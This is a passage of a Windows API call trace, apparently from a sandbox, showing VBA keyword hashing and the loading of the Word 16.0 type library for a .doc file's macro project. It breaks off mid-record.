[0052.945] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Else") returned 0x103b56 [0052.945] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ElseIf") returned 0x10f307 [0052.945] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Empty") returned 0x10f4f1 [0052.945] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd [0052.945] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="EndIf") returned 0x1078bd [0052.945] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Enum") returned 0x10465a [0052.945] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Eqv") returned 0x108a4e [0052.945] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Erase") returned 0x1080da [0052.945] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Error") returned 0x10db3c [0052.945] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Error$") returned 0x10cf60 [0052.945] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Error") returned 0x10db3c [0052.945] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Event") returned 0x10ac4b [0052.945] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Exit") returned 0x107a1f [0052.945] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Explicit") returned 0x10edcb [0052.945] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="F") returned 0x10105d [0052.945] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="False") returned 0x102d01 [0052.945] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Fix") returned 0x108e81 [0052.945] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="For") returned 0x108f59 [0052.945] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Format") returned 0x102337 [0052.945] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Format$") returned 0x10efc7 [0052.945] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Format") returned 0x102337 [0052.945] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="FreeFile") returned 0x10483a [0052.945] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Friend") returned 0x10bd1c [0052.945] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0052.945] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Get") returned 0x109342 [0052.945] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Global") returned 0x10f88f [0052.945] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Go") returned 0x105d67 [0052.945] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="GoSub") returned 0x10b425 [0052.945] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="GoTo") returned 0x10d70b [0052.945] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="If") returned 0x105da8 [0052.945] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Imp") returned 0x109f18 [0052.945] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Implements") returned 0x10a988 [0052.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="In") returned 0x105db0 [0052.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Input") returned 0x10022a [0052.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Input$") returned 0x107767 [0052.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Input") returned 0x10022a [0052.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InputB") returned 0x107785 [0052.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InputB$") returned 0x100c59 [0052.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InputB") returned 0x107785 [0052.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InStr") returned 0x10120e [0052.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InStrB") returned 0x10c2fb [0052.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Int") returned 0x109f41 [0052.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Integer") returned 0x10b48a [0052.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Is") returned 0x105db5 [0052.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LBound") returned 0x101e0b [0052.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Left") returned 0x107be5 [0052.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Len") returned 0x10adf9 [0052.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LenB") returned 0x107cfb [0052.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Let") returned 0x10adff [0052.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Lib") returned 0x10ae81 [0052.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Like") returned 0x1091f3 [0052.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Line") returned 0x109262 [0052.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LINEINPUT") returned 0x1008f1 [0052.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Load") returned 0x10b096 [0052.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Local") returned 0x10353f [0052.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Lock") returned 0x10b0e7 [0052.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Long") returned 0x10b27a [0052.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Loop") returned 0x10b2a8 [0052.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LSet") returned 0x10c69e [0052.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Me") returned 0x105e3b [0052.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0052.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid$") returned 0x10566d [0052.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0052.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MidB") returned 0x10568b [0052.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MidB$") returned 0x102a70 [0052.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MidB") returned 0x10568b [0052.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mod") returned 0x10b4ba [0052.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Module") returned 0x101ee1 [0052.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Name") returned 0x10f2f0 [0052.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="New") returned 0x10b8b3 [0052.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Next") returned 0x1009bb [0052.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Not") returned 0x10ba23 [0052.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Nothing") returned 0x105f21 [0052.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Null") returned 0x105d87 [0052.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Object") returned 0x102ec1 [0052.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="On") returned 0x105e8e [0052.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Open") returned 0x100767 [0052.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Option") returned 0x10f982 [0052.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Optional") returned 0x10675a [0052.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Or") returned 0x105e92 [0052.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Output") returned 0x10f959 [0052.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ParamArray") returned 0x105941 [0052.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Preserve") returned 0x10a5fc [0052.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Print") returned 0x10f00d [0052.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Private") returned 0x1073c3 [0052.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Property") returned 0x10d2f6 [0052.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="PSet") returned 0x10dd55 [0052.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Public") returned 0x101287 [0052.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Put") returned 0x10c5b3 [0052.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="RaiseEvent") returned 0x10274a [0052.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Random") returned 0x10f428 [0052.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Randomize") returned 0x10ab02 [0052.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Read") returned 0x101d0f [0052.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ReDim") returned 0x10eea8 [0052.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Rem") returned 0x10ce0e [0052.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Resume") returned 0x10728b [0052.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Return") returned 0x1038eb [0052.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="RGB") returned 0x10ce4d [0052.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="RSet") returned 0x106891 [0052.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Scale") returned 0x10e596 [0052.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Seek") returned 0x10e387 [0052.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Select") returned 0x10cabd [0052.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Set") returned 0x10d36e [0052.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sgn") returned 0x10d3b2 [0052.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Shared") returned 0x10479e [0052.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Single") returned 0x10a99f [0052.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Spc") returned 0x10d4f4 [0052.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Static") returned 0x1029c6 [0052.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Step") returned 0x103384 [0052.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Stop") returned 0x1034f6 [0052.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrComp") returned 0x10274d [0052.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="String") returned 0x10102a [0052.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="String$") returned 0x10c31c [0052.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="String") returned 0x10102a [0052.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sub") returned 0x10d5ac [0052.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Tab") returned 0x10d821 [0052.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Text") returned 0x10abed [0052.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Then") returned 0x10b933 [0052.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="To") returned 0x105f48 [0052.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="True") returned 0x10f0f4 [0052.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Type") returned 0x100007 [0052.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="TypeOf") returned 0x101832 [0052.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="UBound") returned 0x10ea71 [0052.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Unload") returned 0x104e44 [0052.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Unlock") returned 0x104e95 [0052.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Unknown") returned 0x10a11d [0052.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Until") returned 0x10ecec [0052.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Variant") returned 0x108738 [0052.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Wend") returned 0x1035a7 [0052.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="While") returned 0x10a25c [0052.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Width") returned 0x104e68 [0052.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="With") returned 0x104bed [0052.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="WithEvents") returned 0x10f2eb [0052.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Write") returned 0x105c2e [0052.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Xor") returned 0x10ef9b [0052.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#Const") returned 0x10f8c9 [0052.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#Else") returned 0x1050dd [0052.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#ElseIf") returned 0x10e5b5 [0052.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#End") returned 0x10d478 [0052.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#If") returned 0x10d383 [0052.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0052.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Base") returned 0x109fb8 [0052.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Control") returned 0x10a946 [0052.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Creatable") returned 0x101d92 [0052.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Customizable") returned 0x10c26d [0052.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Description") returned 0x1009d0 [0052.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Exposed") returned 0x1030b3 [0052.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Ext_KEY") returned 0x10a88e [0052.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_HelpID") returned 0x103e41 [0052.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Invoke_Func") returned 0x10c92c [0052.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Invoke_Property") returned 0x107f4a [0052.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Invoke_PropertyPut") returned 0x106658 [0052.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Invoke_PropertyPutRef") returned 0x105b25 [0052.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_MemberFlags") returned 0x108db7 [0052.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Name") returned 0x10e2ff [0052.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_PredeclaredId") returned 0x105fc7 [0052.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_ProcData") returned 0x107005 [0052.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_TemplateDerived") returned 0x109f1e [0052.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarDescription") returned 0x103303 [0052.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarHelpID") returned 0x10a3b6 [0052.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarMemberFlags") returned 0x10b6ea [0052.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarProcData") returned 0x101b0c [0052.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_UserMemId") returned 0x107b95 [0052.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarUserMemId") returned 0x104d5f [0052.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_GlobalNameSpace") returned 0x10ce77 [0052.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName=",") returned 0x101043 [0052.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName=".") returned 0x101045 [0052.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="\"") returned 0x101039 [0052.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_") returned 0x101076 [0052.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CLngPtr") returned 0x105ab0 [0052.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefLngPtr") returned 0x1036f2 [0052.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="PtrSafe") returned 0x106f4a [0052.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CLngLng") returned 0x104463 [0052.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefLngLng") returned 0x1020a5 [0052.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LongLong") returned 0x10378e [0052.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LongPtr") returned 0x10d4e8 [0052.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="0") returned 0x101047 [0052.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="0") returned 0x101047 [0052.950] StringFromGUID2 (in: rguid=0x66753f0*(Data1=0x20905, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0x126650, cchMax=39 | out: lpsz="{00020905-0000-0000-C000-000000000046}") returned 39 [0052.950] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0x126310 | out: phkResult=0x126310*=0x9ee) returned 0x0 [0052.950] RegOpenKeyW (in: hKey=0x9ee, lpSubKey="{00020905-0000-0000-C000-000000000046}", phkResult=0x126308 | out: phkResult=0x126308*=0x9f6) returned 0x0 [0052.950] RegEnumKeyW (in: hKey=0x9f6, dwIndex=0x0, lpName=0x126338, cchName=0xa | out: lpName="8.7") returned 0x0 [0052.951] wcscpy_s (in: _Destination=0x126320, _SizeInWords=0xa, _Source="8.7" | out: _Destination="8.7") returned 0x0 [0052.951] RegOpenKeyW (in: hKey=0x9f6, lpSubKey="8.7", phkResult=0x1263c8 | out: phkResult=0x1263c8*=0xa06) returned 0x0 [0052.951] _ultoa_s (in: _Val=0x409, _DstBuf=0x126340, _Size=0xa, _Radix=16 | out: _DstBuf="409") returned 0x0 [0052.951] RegOpenKeyA (in: hKey=0xa06, lpSubKey="409", phkResult=0x126330 | out: phkResult=0x126330*=0x0) returned 0x2 [0052.951] _ultoa_s (in: _Val=0x9, _DstBuf=0x126340, _Size=0xa, _Radix=16 | out: _DstBuf="9") returned 0x0 [0052.951] RegOpenKeyA (in: hKey=0xa06, lpSubKey="9", phkResult=0x126330 | out: phkResult=0x126330*=0x0) returned 0x2 [0052.951] RegOpenKeyA (in: hKey=0xa06, lpSubKey="0", phkResult=0x126330 | out: phkResult=0x126330*=0xa0e) returned 0x0 [0052.952] RegOpenKeyW (in: hKey=0xa0e, lpSubKey="win64", phkResult=0x126338 | out: phkResult=0x126338*=0xa16) returned 0x0 [0052.953] RegCloseKey (hKey=0xa16) returned 0x0 [0052.953] RegCloseKey (hKey=0xa0e) returned 0x0 [0052.953] _ultow_s (in: _Value=0x0, _Buffer=0x1263d0, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0052.953] RegOpenKeyW (in: hKey=0xa06, lpSubKey="0", phkResult=0x1263a8 | out: phkResult=0x1263a8*=0xa0a) returned 0x0 [0052.953] RegQueryValueW (in: hKey=0xa0a, lpSubKey="win64", lpData=0x1263f0, lpcbData=0x1263a4 | out: lpData="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB", lpcbData=0x1263a4) returned 0x0 [0052.954] wcscpy_s (in: _Destination=0x126720, _SizeInWords=0x104, _Source="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB" | out: _Destination="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB") returned 0x0 [0052.954] RegCloseKey (hKey=0xa0a) returned 0x0 [0052.954] RegCloseKey (hKey=0xa06) returned 0x0 [0052.954] RegCloseKey (hKey=0x9f6) returned 0x0 [0052.954] RegCloseKey (hKey=0x9ee) returned 0x0 [0052.954] LoadTypeLib (in: szFile="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB", pptlib=0x1263a8*=0x0 | out: pptlib=0x1263a8*=0x677a9f0) returned 0x0 [0052.955] ITypeLib:RemoteGetDocumentation (in: This=0x677a9f0, index=-1, refPtrFlags=0x1263c8, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x2d1c7f8 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x2d1c7f8) returned 0x0 [0052.955] IUnknown:QueryInterface (in: This=0x677a9f0, riid=0x7fee4b35c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1261b8 | out: ppvObject=0x1261b8*=0x0) returned 0x80004002 [0052.955] ITypeLib:RemoteGetLibAttr (in: This=0x677a9f0, ppTLibAttr=0x1261b0, pDummy=0x10 | out: ppTLibAttr=0x1261b0, pDummy=0x10) returned 0x0 [0052.955] ITypeLib:RemoteGetDocumentation (in: This=0x677a9f0, index=-1, refPtrFlags=0x0, pbstrName=0x1261a8, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x67daa40 | out: pbstrName=0x1261a8*="Microsoft Word 16.0 Object Library", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x67daa40*="ᤨ߾") returned 0x0 [0052.955] StringFromGUID2 (in: rguid=0x66d9d60*(Data1=0x20905, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0x1261d0, cchMax=39 | out: lpsz="{00020905-0000-0000-C000-000000000046}") returned 39 [0052.955] _ultow_s (in: _Value=0x8, _Buffer=0x12611a, _BufferCount=0x10, _Radix=16 | out: _Buffer="8") returned 0x0 [0052.955] _ultow_s (in: _Value=0x7, _Buffer=0x12611e, _BufferCount=0xe, _Radix=16 | out: _Buffer="7") returned 0x0 [0052.955] _ultow_s (in: _Value=0x0, _Buffer=0x126122, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0 [0052.955] wcscpy_s (in: _Destination=0x4377948, _SizeInWords=0x8e, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0052.955] wcscpy_s (in: _Destination=0x437794e, _SizeInWords=0x8b, _Source="{00020905-0000-0000-C000-000000000046}" | out: _Destination="{00020905-0000-0000-C000-000000000046}") returned 0x0 [0052.955] wcscpy_s (in: _Destination=0x437799a, _SizeInWords=0x65, _Source="#8.7#0#" | out: _Destination="#8.7#0#") returned 0x0 [0052.955] wcscpy_s (in: _Destination=0x43779a8, _SizeInWords=0x5e, _Source="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB" | out: _Destination="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB") returned 0x0 [0052.955] wcscpy_s (in: _Destination=0x4377a1e, _SizeInWords=0x23, _Source="Microsoft Word 16.0 Object Library" | out: _Destination="Microsoft Word 16.0 Object Library") returned 0x0 [0052.955] ITypeLib:LocalReleaseTLibAttr (This=0x677a9f0) returned 0x0 [0052.955] IMalloc:Realloc (This=0x7feffc15380, pv=0x6998d50, cb=0x1a0) returned 0x6806790 [0052.955] wcscpy_s (in: _Destination=0x6806790, _SizeInWords=0x8e, _Source="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library" | out: _Destination="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 0x0 [0052.955] ITypeLib:RemoteGetDocumentation (in: This=0x677a9f0, index=-1, refPtrFlags=0x1262c8, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x4 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x4) returned 0x0 [0052.955] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Word") returned 0x106bb5 [0052.955] strcpy_s (in: _Dst=0x1260c0, _DstSize=0x5, _Src="Word" | out: _Dst="Word") returned 0x0 [0052.955] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1260c0, cbMultiByte=5, lpWideCharStr=0x125f10, cchWideChar=5 | out: lpWideCharStr="Word") returned 5 [0052.955] wcsncpy_s (in: _Destination=0x125ec0, _SizeInWords=0x108, _Source="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 0x0 [0052.955] CharLowerBuffW (in: lpsz="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", cchLength=0x8d | out: lpsz="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft office\\root\\office16\\msword.olb#microsoft word 16.0 object library") returned 0x8d [0052.956] IMalloc:Alloc (This=0x7feffc15380, cb=0x11c) returned 0x69224d0 [0052.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft office\\root\\office16\\msword.olb#microsoft word 16.0 object library", cchWideChar=142, lpMultiByteStr=0x69224d0, cbMultiByte=284, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft office\\root\\office16\\msword.olb#microsoft word 16.0 object library", lpUsedDefaultChar=0x0) returned 142 [0052.956] IMalloc:Free (This=0x7feffc15380, pv=0x69224d0) [0052.956] IMalloc:Realloc (This=0x7feffc15380, pv=0x682e740, cb=0x230) returned 0x68fe820 [0052.956] wcscpy_s (in: _Destination=0x68fe8f0, _SizeInWords=0x8e, _Source="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library" | out: _Destination="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 0x0 [0052.956] wcsncpy_s (in: _Destination=0x125f00, _SizeInWords=0x108, _Source="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 0x0 [0052.956] CharLowerBuffW (in: lpsz="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", cchLength=0x8d | out: lpsz="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft office\\root\\office16\\msword.olb#microsoft word 16.0 object library") returned 0x8d [0052.956] IMalloc:Alloc (This=0x7feffc15380, cb=0x11c) returned 0x69224d0 [0052.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft office\\root\\office16\\msword.olb#microsoft word 16.0 object library", cchWideChar=142, lpMultiByteStr=0x69224d0, cbMultiByte=284, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft office\\root\\office16\\msword.olb#microsoft word 16.0 object library", lpUsedDefaultChar=0x0) returned 142 [0052.956] IMalloc:Free (This=0x7feffc15380, pv=0x69224d0) [0052.956] wcsncpy_s (in: _Destination=0x125ec0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc", _MaxCount=0x106 | out: 